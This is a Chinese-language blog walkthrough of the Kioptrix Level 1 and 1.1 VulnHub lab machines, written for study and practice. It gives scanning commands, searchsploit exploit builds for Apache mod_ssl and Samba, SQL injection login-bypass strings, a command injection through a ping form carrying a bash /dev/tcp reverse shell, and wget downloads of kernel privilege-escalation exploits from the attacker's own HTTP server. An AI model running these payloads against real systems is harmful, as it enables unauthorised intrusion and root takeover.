&lt;p&gt;根据之前Nmap扫描的版本信息选择对应的攻击方式。可用的几个方式都试一遍。下载攻击方式，如果下载文件有损坏，可以到 &lt;a class="link" href="https://www.exploit-db.com/" target="_blank" rel="noopener"
 &gt;https://www.exploit-db.com/&lt;/a&gt; 网站下载对应源码。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit -m 47080.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;sudo apt-get install libssl-dev &lt;span class="c1"&gt;# 安装依赖环境&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;gcc -o ssl47080 47080.c -lcrypto &lt;span class="c1"&gt;# 编译源码&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123123541129" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123123541129.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123123617816" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123123617816.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123123642645" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123123642645.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; ./ssl47080 &lt;span class="p"&gt;|&lt;/span&gt;grep &lt;span class="s2"&gt;&amp;#34;1.3.20&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;筛选符合 &lt;code&gt;Apache 1.3.20&lt;/code&gt;版本的工具&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123123747271" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123123747271.png"&gt;&lt;/p&gt;
&lt;p&gt;靶机系统是RedHat，所以使用&lt;code&gt;0x6a&lt;/code&gt;或&lt;code&gt;0x6b&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123124158356" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123124158356.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0x6a&lt;/code&gt;测试失败，改用&lt;code&gt;0x6b&lt;/code&gt;，输入以下命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./ssl47080 0x6b 192.168.139.129 -c &lt;span class="m"&gt;40&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123124333068" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123124333068.png"&gt;&lt;/p&gt;
&lt;h4 id="提权为root"&gt;提权为root
&lt;/h4&gt;&lt;p&gt;目前是使用apache账户登录shell，这个账户是用于apache服务的专用账户， 可以使用&lt;code&gt;ls /bin&lt;/code&gt;查看目前账户可以使用的命令，可以发现只能使用一些基本命令，权限较低，我们想要完整的shell就要root账户，就要提权。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123124804957" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123124804957.png"&gt;&lt;/p&gt;
&lt;p&gt;现在本地攻击机下面下载提权脚本。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123125536502" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123125536502.png"&gt;&lt;/p&gt;
&lt;p&gt;然后开启一个简单的http服务，提供给靶机用于下载提权脚本。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo python -m http.server &lt;span class="m"&gt;80&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123130859626" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123130859626.png"&gt;&lt;/p&gt;
&lt;p&gt;这个靶机好在可以使用&lt;code&gt;wget&lt;/code&gt;命令下载提权脚本。如果&lt;code&gt;wget&lt;/code&gt;用不了的情况，可以尝试用&lt;code&gt;curl&lt;/code&gt;或&lt;code&gt;ftp&lt;/code&gt;下载脚本。然后从之前47080进去的Apache账户的shell里运行以下命令：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget http://192.168.139.128/ptrace-kmod.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123130358737" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123130358737.png"&gt;&lt;/p&gt;
&lt;p&gt;退出，然后再次重连，自动编译，就会获得root权限。如果重连后不是root，可以多试几次，或者更换47080.c文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123130630780" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123130630780.png"&gt;&lt;/p&gt;
&lt;p&gt;另一种提权的方式：&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123153739527" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123153739527.png"&gt;&lt;/p&gt;
&lt;h3 id="cve-2003-0651apache-rce"&gt;（CVE-2003-0651）Apache RCE
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/wsec/p/vulnhub0x01.html#3cve-2003-0651apache-rce" target="_blank" rel="noopener"
 &gt;https://www.cnblogs.com/wsec/p/vulnhub0x01.html#3cve-2003-0651apache-rce&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250123140948527" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123140948527.png"&gt;&lt;/p&gt;
&lt;p&gt;这个&lt;code&gt;67.c&lt;/code&gt;文件最好从网站下载，kali里下载的不全。尾号305的才是正确的文件。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123154559276" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123154559276.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;input disabled="" type="checkbox"&gt; 但是编译不出来。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="samba-漏洞利用139端口"&gt;Samba 漏洞利用139端口
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://medium.com/@MarkdeMoras/kioptrix-level-1-1-vulnhub-walkthrough-by-mark-de-moras-147002cc4853" target="_blank" rel="noopener"
 &gt;https://medium.com/@MarkdeMoras/kioptrix-level-1-1-vulnhub-walkthrough-by-mark-de-moras-147002cc4853&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;除了ssl漏洞，可以从之前的Nmap扫描结果发现也存在Samba漏洞。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123131630150" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123131630150.png"&gt;&lt;/p&gt;
&lt;p&gt;使用Nmap再次扫描靶机的网址。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; nmap -A -p- -T4 192.168.139.129
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123132310137" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123132310137.png"&gt;&lt;/p&gt;
&lt;p&gt;使用msf工具箱&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;msfconsole
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;search scanner/smb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;use &lt;span class="m"&gt;16&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;info
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;set&lt;/span&gt; RHOST 192.168.139.129
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123132616193" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123132616193.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123132705798" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123132705798.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123132939427" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123132939427.png"&gt;&lt;/p&gt;
&lt;p&gt;这样就获取了samba的版本，退出msf，然后搜索samba的攻击方式，选择对应版本。下载，编译。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit samba 2.2.1a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;searchsploit -m multiple/remote/10.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;gcc -o Samba 10.c
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123133303208" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123133303208.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123133446833" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123133446833.png"&gt;&lt;/p&gt;
&lt;p&gt;查看使用方式&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123133547970" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123133547970.png"&gt;&lt;/p&gt;
&lt;p&gt;使用如下命令爆破进入，直接获得root权限。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;./Samba -b &lt;span class="m"&gt;0&lt;/span&gt; 192.168.139.129
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123133746810" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123133746810.png"&gt;&lt;/p&gt;
&lt;h3 id="samba缓存漏洞利用139端口"&gt;Samba缓存漏洞利用139端口
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250123134042780" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123134042780.png"&gt;&lt;/p&gt;
&lt;p&gt;搜索通用版本的samba攻击方式，发现，还有例如“call_trans2open”远程缓冲区溢出（2）漏洞利用的方式。下载编译后查看使用方式。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123134436265" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123134436265.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250123134518934" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123134518934.png"&gt;&lt;/p&gt;
&lt;h3 id="rpcbind-尝试"&gt;rpcbind 尝试
&lt;/h3&gt;&lt;p&gt;漏洞扫描的结果中还有&lt;code&gt;111&lt;/code&gt;端口和&lt;code&gt;1024&lt;/code&gt;端口的rpcbind服务，搜索了有如下方法，但是尝试失败。&lt;/p&gt;
&lt;p&gt;&lt;img alt="bea38bec29f578e9fe425c03e9b8f4d" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/bea38bec29f578e9fe425c03e9b8f4d.png"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/KUANTECH/p/17941528" target="_blank" rel="noopener"
 &gt;https://www.cnblogs.com/KUANTECH/p/17941528&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;上面这篇文章也做过了尝试是失败的，所以rpc的漏洞就不尝试了。&lt;/p&gt;
&lt;h2 id="kioptrix-level-11-2"&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/kioptrix-level-11-2,23/" target="_blank" rel="noopener"
 &gt;Kioptrix: Level 1.1 (#2)&lt;/a&gt;
&lt;/h2&gt;
 &lt;blockquote&gt;
 &lt;p&gt;2025年2月8日 14点15分&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250208134538337" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208134538337.png"&gt;&lt;/p&gt;
&lt;p&gt;在攻击机上输入&lt;code&gt;ifconfig&lt;/code&gt;查看本机网段。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208134903741" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208134903741.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap -sP 192.168.139.0/24 -T5
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描网段，发现130网段，是靶机，本机是128，254是网关，1，2都是网关。打开网页看一下，推测是sql注入。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208135159123" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208135159123.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nmap -sS -T5 192.168.139.130 -A
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;nmap -sS -T5 192.168.139.130 -p-
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;扫描靶机的端口。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208135335594" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208135335594.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208135530608" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208135530608.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208135656594" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208135656594.png"&gt;&lt;/p&gt;
&lt;p&gt;sql万能密码都试一遍。以下两个都可以&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;admin&amp;#39; and 1=1 -- +
admin&amp;#39; -- +
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250208140252720" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208140252720.png"&gt;&lt;/p&gt;
&lt;p&gt;网页提示让我们ping机器，但是没有ping的地方。&lt;code&gt;dirb http://192.168.139.130/&lt;/code&gt; 扫描目录发现一个没啥用的manual页面，先放着&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208141312906" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208141312906.png"&gt;&lt;/p&gt;
&lt;p&gt;查看网页源码发现有括号没有闭合。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208141623810" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208141623810.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208141759220" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208141759220.png"&gt;&lt;/p&gt;
&lt;p&gt;复制后粘贴修改源码，把括号闭合。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208141850984" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208141850984.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208141936046" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208141936046.png"&gt;&lt;/p&gt;
&lt;p&gt;出现ping框。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208142031454" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208142031454.png"&gt;&lt;/p&gt;
&lt;p&gt;输入执行whoami的测试语句，能看到执行了whoami的语句。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208142103936" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208142103936.png"&gt;&lt;/p&gt;
&lt;p&gt;然后构造一个反弹shell的语句用来链接shell。到网站 &lt;a class="link" href="https://www.ddosi.org/shell/" target="_blank" rel="noopener"
 &gt;https://www.ddosi.org/shell/&lt;/a&gt; 可以快速构造反弹语句。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;nc -lvnp &lt;span class="m"&gt;9001&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;在攻击机输入监听命令启动监听。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208142610118" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208142610118.png"&gt;&lt;/p&gt;
&lt;p&gt;在浏览器submit处的127.0.0.1 &amp;amp;&amp;amp; 后面拼接反弹命令得到&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;127.0.0.1 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; /bin/bash -i &amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt; /dev/tcp/192.168.139.128/9001 0&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250208142847482" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208142847482.png"&gt;&lt;/p&gt;
&lt;p&gt;成功回弹获得bash权限，接下来是提权为root账户。执行&lt;code&gt;uname&lt;/code&gt; 和&lt;code&gt;lsb_release -a&lt;/code&gt;发现版本号，搜索相关poc。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208142956021" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208142956021.png"&gt;&lt;img alt="image-20250208143311537" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208143311537.png"&gt;&lt;/p&gt;
&lt;p&gt;从核心版本号&lt;code&gt;2.6.9&lt;/code&gt;选择&lt;code&gt;9542.c&lt;/code&gt;这个poc。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;searchsploit -m 9542.c
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250208143529530" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208143529530.png"&gt;&lt;/p&gt;
&lt;p&gt;攻击机开启http服务，上传poc到靶机。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;python -m http.server
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250208143634122" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208143634122.png"&gt;&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;cd /tmp
wget http://192.168.139.128:8000/9542.c
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img alt="image-20250208143959017" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208143959017.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250208144125461" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250208144125461.png"&gt;&lt;/p&gt;
&lt;p&gt;编译执行，提权成功。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;gcc -o exp 9542.c
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;./exp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;whoami
